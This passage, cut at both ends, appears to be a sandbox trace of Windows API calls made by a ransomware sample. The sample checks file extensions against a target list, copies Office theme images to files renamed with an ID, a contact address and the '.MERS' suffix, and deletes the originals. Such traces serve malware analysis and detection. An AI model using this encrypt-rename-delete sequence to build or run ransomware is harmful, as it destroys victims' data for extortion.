lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0045.843] lstrlenW (lpString=".ppt") returned 4 [0045.843] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.843] lstrlenW (lpString=".zip") returned 4 [0045.843] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString=".rar") returned 4 [0045.843] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString=".bz2") returned 4 [0045.843] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.843] lstrlenW (lpString=".7z") returned 3 [0045.843] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.843] lstrlenW (lpString=".dbf") returned 4 [0045.843] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.843] lstrlenW (lpString=".1cd") returned 4 [0045.843] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.843] lstrlenW (lpString=".jpg") returned 4 [0045.843] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.843] lstrlenW (lpString=".doc") returned 4 [0045.843] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.843] lstrlenW (lpString=".docx") returned 5 [0045.843] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0045.843] lstrlenW (lpString=".pdf") returned 4 [0045.843] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString=".xls") returned 4 [0045.843] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString=".xlsx") returned 5 [0045.844] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0045.844] lstrlenW (lpString=".ppt") returned 4 [0045.844] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.844] lstrlenW (lpString=".zip") returned 4 [0045.844] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.844] lstrlenW (lpString=".rar") returned 4 [0045.844] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.844] lstrlenW (lpString=".bz2") returned 4 [0045.844] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.844] lstrlenW (lpString=".7z") returned 3 [0045.844] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.844] lstrlenW (lpString=".dbf") returned 4 [0045.844] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.844] lstrlenW (lpString=".1cd") returned 4 [0045.844] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.844] lstrlenW (lpString=".jpg") returned 4 [0045.844] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.844] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0045.844] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.936] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=19780) returned 1 [0045.936] CloseHandle (hObject=0x17c) returned 1 [0045.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0045.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.936] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.936] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.937] GetLastError () returned 0x0 [0045.937] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0046.098] WriteFile (in: hFile=0x200, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0046.100] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.100] WriteFile (in: hFile=0x200, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.100] SetEndOfFile (hFile=0x200) returned 1 [0046.100] CloseHandle (hObject=0x200) returned 1 [0046.100] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.101] SetEndOfFile (hFile=0x17c) returned 1 [0046.101] CloseHandle (hObject=0x17c) returned 1 [0046.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0046.102] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0046.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.102] lstrlenW (lpString=".doc") returned 4 [0046.102] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.102] lstrlenW (lpString=".docx") returned 5 [0046.102] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.102] lstrlenW (lpString=".pdf") returned 4 [0046.102] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.102] lstrlenW (lpString=".xls") returned 4 [0046.102] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.102] lstrlenW (lpString=".xlsx") returned 5 [0046.102] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.102] lstrlenW (lpString=".ppt") returned 4 [0046.102] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.102] lstrlenW (lpString=".zip") returned 4 [0046.102] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.102] lstrlenW (lpString=".rar") returned 4 [0046.102] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.102] lstrlenW (lpString=".bz2") returned 4 [0046.102] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.102] lstrlenW (lpString=".7z") returned 3 [0046.102] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.102] lstrlenW (lpString=".dbf") returned 4 [0046.102] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.102] lstrlenW (lpString=".1cd") returned 4 [0046.102] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString=".jpg") returned 4 [0046.103] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString=".doc") returned 4 [0046.103] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString=".docx") returned 5 [0046.103] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.103] lstrlenW (lpString=".pdf") returned 4 [0046.103] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString=".xls") returned 4 [0046.103] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.103] lstrlenW (lpString=".xlsx") returned 5 [0046.103] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.103] lstrlenW (lpString=".ppt") returned 4 [0046.103] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString=".zip") returned 4 [0046.103] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.103] lstrlenW (lpString=".rar") returned 4 [0046.103] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.103] lstrlenW (lpString=".bz2") returned 4 [0046.103] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString=".7z") returned 3 [0046.103] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString=".dbf") returned 4 [0046.103] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString=".1cd") returned 4 [0046.103] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0046.103] lstrlenW (lpString=".jpg") returned 4 [0046.103] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.104] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0046.104] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0046.104] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2848) returned 1 [0046.104] CloseHandle (hObject=0x17c) returned 1 [0046.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0046.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0046.104] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.104] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.446] GetLastError () returned 0x0 [0046.446] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xb20, lpOverlapped=0x0) returned 1 [0046.536] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0046.536] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.536] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.537] SetEndOfFile (hFile=0x1f8) returned 1 [0046.537] CloseHandle (hObject=0x1f8) returned 1 [0046.537] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.537] SetEndOfFile (hFile=0x17c) returned 1 [0046.538] CloseHandle (hObject=0x17c) returned 1 [0046.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0046.538] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0046.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.538] lstrlenW (lpString=".doc") returned 4 [0046.538] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.538] lstrlenW (lpString=".docx") returned 5 [0046.538] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.538] lstrlenW (lpString=".pdf") returned 4 [0046.538] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.538] lstrlenW (lpString=".xls") returned 4 [0046.538] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.538] lstrlenW (lpString=".xlsx") returned 5 [0046.538] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.538] lstrlenW (lpString=".ppt") returned 4 [0046.538] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.538] lstrlenW (lpString=".zip") returned 4 [0046.538] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.538] lstrlenW (lpString=".rar") returned 4 [0046.538] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.538] lstrlenW (lpString=".bz2") returned 4 [0046.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.539] lstrlenW (lpString=".7z") returned 3 [0046.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.539] lstrlenW (lpString=".dbf") returned 4 [0046.539] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.539] lstrlenW (lpString=".1cd") returned 4 [0046.539] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.539] lstrlenW (lpString=".jpg") returned 4 [0046.539] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.539] lstrlenW (lpString=".doc") returned 4 [0046.539] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.539] lstrlenW (lpString=".docx") returned 5 [0046.539] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.539] lstrlenW (lpString=".pdf") returned 4 [0046.539] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.539] lstrlenW (lpString=".xls") returned 4 [0046.539] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.539] lstrlenW (lpString=".xlsx") returned 5 [0046.539] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.539] lstrlenW (lpString=".ppt") returned 4 [0046.539] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.539] lstrlenW (lpString=".zip") returned 4 [0046.539] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.539] lstrlenW (lpString=".rar") returned 4 [0046.539] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.539] lstrlenW (lpString=".bz2") returned 4 [0046.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.539] lstrlenW (lpString=".7z") returned 3 [0046.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.540] lstrlenW (lpString=".dbf") returned 4 [0046.540] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.540] lstrlenW (lpString=".1cd") returned 4 [0046.540] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0046.540] lstrlenW (lpString=".jpg") returned 4 [0046.540] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.540] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0046.540] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.468] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=20627) returned 1 [0047.469] CloseHandle (hObject=0x1f8) returned 1 [0047.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0047.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.470] GetLastError () returned 0x0 [0047.470] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x5093, lpOverlapped=0x0) returned 1 [0047.589] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0047.591] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.591] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.591] SetEndOfFile (hFile=0x20c) returned 1 [0047.591] CloseHandle (hObject=0x20c) returned 1 [0047.591] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.591] SetEndOfFile (hFile=0x1f8) returned 1 [0047.592] CloseHandle (hObject=0x1f8) returned 1 [0047.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.593] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0047.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.593] lstrlenW (lpString=".doc") returned 4 [0047.593] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.593] lstrlenW (lpString=".docx") returned 5 [0047.593] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.593] lstrlenW (lpString=".pdf") returned 4 [0047.593] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.593] lstrlenW (lpString=".xls") returned 4 [0047.593] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.593] lstrlenW (lpString=".xlsx") returned 5 [0047.593] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.593] lstrlenW (lpString=".ppt") returned 4 [0047.593] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.593] lstrlenW (lpString="C:\\Program 